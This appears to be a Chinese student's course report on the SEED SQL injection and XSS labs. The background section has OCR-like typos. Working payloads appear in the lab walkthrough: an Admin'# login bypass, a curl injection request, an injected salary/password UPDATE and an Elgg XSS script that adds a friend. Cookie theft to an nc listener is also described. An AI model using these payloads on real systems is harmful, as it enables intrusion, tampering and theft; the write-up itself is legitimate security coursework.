20199328 2019-2020-2 《网络攻防实践》第11周作业
1.实践内容
Web应用程序体系结构及其安全威胁
Web应用体系结构
浏览器作为 " 瘦 “ 客户端主要完成数据显小与展示内容的渲染(render)功能' ; 而由功能强大的" 胖“ 服务器负负完成士哎业务的计算
处理; 两者之间通过因特网或内联网上HTTP/HITPS应用层协议的诸求与应答进行通信。
Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁
- 针对传输网络的网络协议安全威胁
- 系统层安全威胁
- Web服务器软件安全威胁
- Web应用程序安全威胁
- Web数据安全威胁
Web应用安全攻防技术概述
Web应用的信息收集
- 手工审查Web应用程序结构与源代码:静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串
- 自动下载与镜像Web站点页面
- 使用Google Hacking技术审查与探测Web应用程序
- Web 应用程序安全评估与漏洞探测
攻击Web数据内容
攻击Web服务器软件
- 数据驱动的远程代码执行安全漏洞
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击
攻击Web数据内容
- 安全敏感数据泄露
- 网站篡改
- 不良信息内容上传
Web 应用安全防范措施
- Web 站点网络传输安全设防
- Web 站点操作系统及服务安全设防措施
- Web 应用程序安全设防措施
- Web 站点数据安全设防措施
SQL注入
SQL注入是利用Web应用程忭数据层存在的输入验证不完社型安全肋洞实施的一类代 码注入攻击技术。
SOL 注入攻击原理
SQL 注入攻击的原理是向 Web 应用程序提供的用户输入接口(如一个动念页面的输入 参数、 表单的输入框, 等等)输入一段精心构造的 SQL 查询命令, 攻市和利用不完善的输入验讥机制, 使得注入代码得以执行完成非预期的攻击操作行为。
SQL注入攻击步骤和过程
- 发现SQL注入点
- 判断后台数据库类型
- 后台数据库中管理员用户口令字猜解
- 上传ASP后门, 得到默认账户权限
- 本地权限提升
- 利用数据库扩展存储过程执行Shell命令
SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制
- 凡是来自外部的用户输入, 必须进行完备检查
- 将动态SQL语句替换为存储过程、 预编译SQL或ADO命令对象
- 加强 SQL 数据库服务器的配置与连接
xss 跨站脚本攻击
xss 攻击技术原理
攻击者利用Web应用程序中的安全漏洞,在服务器端网页中插入一些恶意的客户端脚本代码,在Web服务器上产生出一些恶意攻击页面。
xss 攻击类型
安全业界普遍将其分为两种主要的XSS漏洞类型即持久性XSS涌洞(PersistentCross Sile Scripting)和非持久性XSS涌洞(Non-persistentCross Site Scripting),利用这两类漏洞的攻击也被称为持久性XSS 攻击与非持久性XSS攻击
2.实践过程
SQL Injection Attack Lab
首先登陆mysql,数据库的账户是root,密码是seedubuntu
选择库,并且查询所有的表。
搜索和alice有关的信息
在/var/www/SQLInjection。其中有一个存在sql注入攻击的主页unsafe_home.php,通过vim查看对应的原代码找到这样一段关于数据库查询的代码
关键代码:
$input_uname = $_GET[’username’];
$input_pwd = $_GET[’Password’];
$input_uname = sha1($input_pwd);
...
$sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’";
$result = $conn -> query($sql);
if(id != NULL) {
if(name==’admin’) {
return All employees information;
} else if (name !=NULL){
return employee information;
}
} else {
Authentication Fails;
}
查询语句:
SELECT id, name, eid, salary, birth, ssn, address, email,nickname,Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
将其中的用户名改为Admin'#,密码改为任意值,这个查询语句就会变为:
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin' #''and Password='$hashed_pwd'
在#之后的全都被注释掉了,不需要验证密码就可以通过验证
输入的username字段为Admin‘#,Password字段为任意值,去网页登陆
在命令行做到这一点。使用curl,将参数放在里面进行攻击这里需要注意转义字符 curl
curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=balabala
用登陆前面管理员登录的账号,进入edit profile修改
',salary='123'where Name='Alice';#
修改别的人工资,同上,换名字就可以了
修改别人的密码,把薪水改成密码就行了
XSS攻击
-
显示警告窗口
-
弹窗显示cookie信息
获取受害者的cookie,上面的获取cookie只是弹到了窗口里,这次要发送给自己
用nc来监视我选择的端口。再访问主页之后,可以看到我的端口收到了cookie
- 添加受害者好友
需要知道请求好友的指令。首先要正常情况下添加一次好友
档案的参考代码缺少了一块信息
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl=...; //FILL IN
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
用HTTP header live来查看数据,得知缺省的部分应该是:"http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
将这段代码放到Alice的About ME,注意这里要用右上角的Edit HTML模式,可视模式会将代码中的符号进行自动转义,从而导致攻击失败
用boby的账号访问Alice的个人主页,返回看boby的朋友圈会看到
- 修改别人的信息
脚本的框架在pdf中也给了,缺省的值也和上一题获取的方法一样
然后alice访问主页之后,自我介绍就会被修改。
3.学习中遇到的问题及解决
- 问题1:seed连不上网
- 问题1解决方案:还原默认网络环境
- 问题2:代码写不出
- 问题2解决方案:参考参考
4.实践总结
要多学学各种代码